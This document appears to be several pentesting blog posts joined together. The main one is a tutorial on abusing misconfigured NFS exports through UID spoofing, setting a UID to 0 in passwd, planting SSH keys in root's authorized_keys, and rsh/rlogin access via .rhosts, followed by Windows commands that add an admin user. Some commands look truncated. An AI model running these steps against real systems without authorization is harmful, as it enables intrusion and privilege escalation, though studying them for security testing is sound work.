NFS stands for Network File System and is a protocol which can be found in Unix systems that allows a user on a network to access shared folders in a manner similar to local storage. Modern NFS implementations contain features to prevent misuse of exported folders however there are NFS services in legacy systems which are not configured properly and they can abused.

Discovery of NFS Service

The NFS service is running on port 2049/TCP therefore it can be discovered during the port scanning activities in a penetration test with Nmap.

2049/tcp open nfs 2-4 (RPC #100003)
NFS - Discovery with Nmap

NFS – Discovery with Nmap

On top of that the rpcinfo utility can be used to determine if there are any mountd and NFS services running on the host.

rpcinfo -p IP
NFS - NFS and Mountd Services

NFS – NFS and Mountd Services

List Exported Folders

The following command will retrieve the list of the exported folders for a given host. This information will be used for accessing these folders.

showmount -e IP
NFS - Retrieve Exported Folders

NFS – Retrieve Exported Folders

When the showmount command is used with the following parameters can retrieve further information such as:

  • Mount Points
  • Connected Hosts
  • Directories
showmount IP // Connected Hosts
showmount -d IP // Directories
showmount -a IP // Mount Points
NFS - Showmount Commands

NFS – Showmount Commands

Alternatively Metasploit Framework has a module which can be used to list exported folders.

NFS - Retrieve Exported Folders Metasploit

NFS – Exported Folders via Metasploit

There is also a utility called NFS Shell which can connect to NFS shares and identify common security problems manually. However it requires the following dependencies to be installed first:

apt-get install libreadline-dev libncurses5-dev
gcc -g -o nfsshell mount_clnt.o mount_xdr.o nfs_prot_clnt.o nfs_prot_xdr.o nfsshell.o -L/usr/local/lib -lreadline -lhistory -lncurses

The list of the exported folders can obtained with the following commands:

nfs> host IP // Connects to NFS Server
nfs> export // Export NFS List
NFS - Retrieve Exported Folders NFS Shell

NFS – Retrieve Exported Folders via NFS Shell

Accessing NFS Shares

The exported folders can be accessed by creating an empty local folder and mounting the share to this folder as per the example below:

mkdir /temp/
mount -t nfs /temp -o nolock
NFS - Mount Shared Directory

NFS – Mount NFS Directory

Verification that the share has been mounted successfully can achieved with the following command which will list all the local drives.

df -h
NFS - Display Mounted Folder as Local Drive

NFS – Display Mounted Folder as Local Drive

The share can be accessed like any other local folder on the system.

cd /temp/
NFS - Listing Folder Contents of NFS Share

NFS – Listing Folder Contents of NFS Share

UID Manipulation

If there are any files on the exported share that the user doesn’t have permission to read them then it might be possible to trick the NFS server to believe that the user account that tries to read the file is the owner of the file. This can achieved by performing UID (User ID) manipulation.

NFS - Permission Denied

NFS – Permission Denied

The following command will display the UID (User ID) and the GUID (Group ID) of the file owner.

ls -al
NFS - Retrieving the UID

NFS – Retrieving the UID

A new user will need to be created locally which will have the same UID and name with the file owner.

useradd <user>
passwd <user>

The UID can be changed from the passwd file.

vi /etc/passwd
NFS - Modifying the UID via Passwd File

NFS – Modifying the UID via Passwd File

From the mounted folder by executing the su command with the password that is known since it has been created previously the current user will switch to the new user.

su <useraccount>
NFS - UID Manipulation

NFS – UID Manipulation

Since the UID of the file will be the same with the UID of the new user, the system will believe that this is the original owner so it would be possible to read the contents of the file.

This is due because the exported folder doesn’t have the root_squash option set which will map the UID and GID of the user that is accessing the NFS folder to anonymous UID/GID. For example the root user ID of a host that is trying to access a share will be replaced by the user ID nobody on the NFS server to prevent escalation of privileges.

The root_squash option can be enabled or disabled from the following location:

vi /etc/exports
/home // Enables Root Squash
/home // Disables Root Squash

If the passwd file has write permissions then by changing the UID of a non-privileged user to 0 will give him root level access.  The UID of the username service has been modified to 0 which is the UID of the root user to demonstrate this issue.

NFS - UID Modification to 0

NFS – UID Modification to 0

Authenticating again with the server via SSH will give the user service root access privileges.

NFS - Service User Becomes Root

NFS – Service User Becomes Root

Shell Access

Depending on the files that are stored in the exported folder it might be possible to obtain shell access via SSH or RSH and Rlogin. Interesting files to examine are:

  • authorized_keys
  • rhosts

Both files are hidden therefore from the NFS folder the following command will determine the presence of these files.

ls -al
NFS - Hidden Files Rhosts and SSH

NFS – Hidden Files Rhosts and SSH

Generating an SSH key pair and adding the public key into the list of authorized keys will allow a user to connect via SSH on the NFS server.

cd /root/.ssh/
ssh-keygen -t rsa -b 4096
cp /root/.ssh/ /temp/root/.ssh/
cat >> /temp/root/.ssh/authorized_keys
ssh -i /root/.ssh/id_rsa root@
NFS - Generating SSH Key Pair

NFS – Generating SSH Key Pair

NFS - Authorised Keys SSH Connection

NFS – Authorised Keys SSH Connection

The .rhosts clarifies which remotes hosts or users can access a local account on the system. If the contents of the .rhosts file are the ++ sign this means that it allows connections from any host on the network and from any username.

cat .rhosts
NFS - Display Rhosts

NFS – Display Rhosts Contents

The following commands will allow the root user of the system to connect on the target directly as the system will not prompt for a password since all the users are trusted from all systems.

rsh -l root IP
rlogin -l root IP
NFS - Shell Access via rsh

NFS – Shell Access via rsh

NFS - Shell Access via rlogin

NFS – Shell Access via rlogin

Alternatively if the contents of the .rhosts are different then examining the file will assist to determine which hosts and which users are trusted and therefore can authenticate without password.


Metasploit and Nessus

Metasploit provides flexibility to penetration testers as it can support some of the most important tools inside the framework like Nessus and Nmap. You can initiate Nessus scans directly from the metasploit console, import existing scans and actually operate Nessus from inside the framework.

The main advantage is that the information is centralized between these tools since Nessus and Nmap scans are stored in the Metasploit database in an organized manner. Therefore it is possible to launch a Nessus scan via Metasploit, identify a vulnerability and then execute the appropriate exploit without leaving the framework and saving pentesting time.

The first step is to start and connect the postgresql database to Metasploit:


Starting the Database and Verification of Connectivity

If the database is not created you can initiate it with the following command:


Building the Metasploit Database

Then you can load the Nessus plugin:


Load Nessus Inside Metasploit

Before you can operate Nessus via Metasploit you need to authenticate with your existing credentials:


Nessus Authentication via Metasploit

Metasploit requires the policy UUID before the creation of a new nessus scan and the scan ID in order to execute it:


Launching a Nessus Scan

When the scan is finished the list of vulnerabilities that Nessus has discovered can be generated:


Listing Nessus Vulnerabilities

Metasploit can divide also the number of findings by host and criticality:


List of Findings by Host

Existing Nessus scans can also imported to Metasploit.


Importing existing Nessus Scan to Metasploit Database

Running Nessus or Nmap via Metasploit in a large pentest can help the penetration tester to manage his results effectively, save project time and therefore to conduct a quality assessment.

Common Windows Commands for Pentesters

Every penetration tester should be fluent with the Windows command prompt since various commands could be used in different stages of a penetration test like domain recon and post exploitation.

Of course there are plenty of windows commands to use and the purpose of this post is not to cover all of them but only those that are needed during an exam certification, interview or a basic penetration test.

The following commands are considered the most common:

  • whoami – List the current user
  • net share – View current network shares
  • net use X: \\IP_Address\c$ – Mount a remote network share
  • net localgroup – Retrieve the local groups
  • net localgroup Administrators – Retrieve local administrators
  • net user pentestuser pentestpass /add – Add a new user to the current host
  • net localgroup Administrators pentestuser /add – Add pentestuser to the local administrators group
  • net user pentestuser /domain – View information about a domain user
  • net group “Domain Admins” /domain – Retrieve domain administrators
  • net config server/workstation – View the domain name of current host
  • net view – List all hosts in the current workgroup or domain
  • net view /domain – List all domains available
  • net user /domain – List all the domain users

List of Books for Pentest Rookies

For the people that they want to make a start into the penetration testing industry it is really important to build their knowledge in a structure way. Books can provide guidance and build the foundation knowledge that is required for a start.

In nowadays there are plenty of books written by penetration testers for penetration testers that provide technical examples so it would be easier for the reader to understand them and obtain as well some practical skills.

The skills that someone will require by reading a technical book and following the examples in his home lab environment will not only be useful for a potential job interview but on his day to day job as well.

As a starting point the following books are recommended:


Top 10 Interview Questions for Junior Pentesting Roles

There are interview questions that will possibly come up more often than others. The majority of the companies will look for candidates that they can demonstrate knowledge regarding networking concepts, some common web application vulnerabilities, they know how to perform basic tasks. are familiar with console commands and they have the passion to learn.

The following questions have been identified as the most common for junior penetration testing roles, so candidates who are able to answer them correctly they have more chances of being successful.

  1. What are the differences between TCP and UDP?
  2. Describe the 3-way handshake?
  3. Describe the layers of OSI model and knowledge some of the protocols for each layer?
  4. What are the differences between a hub a switch and a router?
  5. What is a port?
  6. What is SSL?
  7. What are the differences between symmetric and asymmetric encryption?
  8. What is SQL injection?
  9. What is Cross-Site Scripting?
  10. How you could perform a TCP scan with Nmap?